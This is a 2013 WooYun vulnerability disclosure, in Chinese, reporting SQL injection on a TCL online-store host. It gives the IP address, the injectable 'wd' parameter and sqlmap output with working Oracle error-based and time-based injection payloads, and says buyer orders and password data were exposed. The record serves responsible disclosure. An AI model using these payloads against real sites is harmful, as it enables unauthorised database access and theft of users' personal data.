漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-039622
漏洞标题：TCL电子商务中心另一站sql注入漏洞导致买家信息泄露
相关厂商：TCL官方网上商城
漏洞作者： 霍大然
提交时间：2013-10-15 13:57
修复时间：2013-11-29 13:57
公开时间：2013-11-29 13:57
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-10-15： 细节已通知厂商并且等待厂商处理中
2013-10-16： 厂商已经确认，细节仅向厂商公开
2013-10-26： 细节向核心白帽子及相关领域专家公开
2013-11-05： 细节向普通白帽子公开
2013-11-15： 细节向实习白帽子公开
2013-11-29： 细节向公众公开
简要描述：
酷友网络科技有限公司（TCL集团电子商务中心）是TCL集团旗下控股子公司
上次盲注太慢，这次快多了导致用户订单信息泄露，用户的个人信息（包括密码）泄露
详细说明：
问题站点：
http://125.93.53.9/
注入点：
25.93.53.9/sns/search/result.html?wd=%E5%AE%89%E5%BE%97 (GET)
加个'后：
放在sqlmap里：
lace: GET
Parameter: wd
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: wd=%E5%AE%89%E5%BE%97%' AND 4677=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(120)||CHR(100)||CHR(113)||(SELECT (CASE WHEN (4677=4677) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(117)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL) AND '%'='
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: wd=%E5%AE%89%E5%BE%97%' AND 3719=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND '%'='
---
web application technology: PHP 5.2.14, Apache 2.2.17
back-end DBMS: Oracle
100多业务表：
订单表：
用户的密码信息表：
漏洞证明：
修复方案：
注入点不止这一个，一块修复吧
版权声明：转载请注明来源 霍大然@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2013-10-16 09:18
厂商回复：
谢谢，已经转发给相关部门！
最新状态：
暂无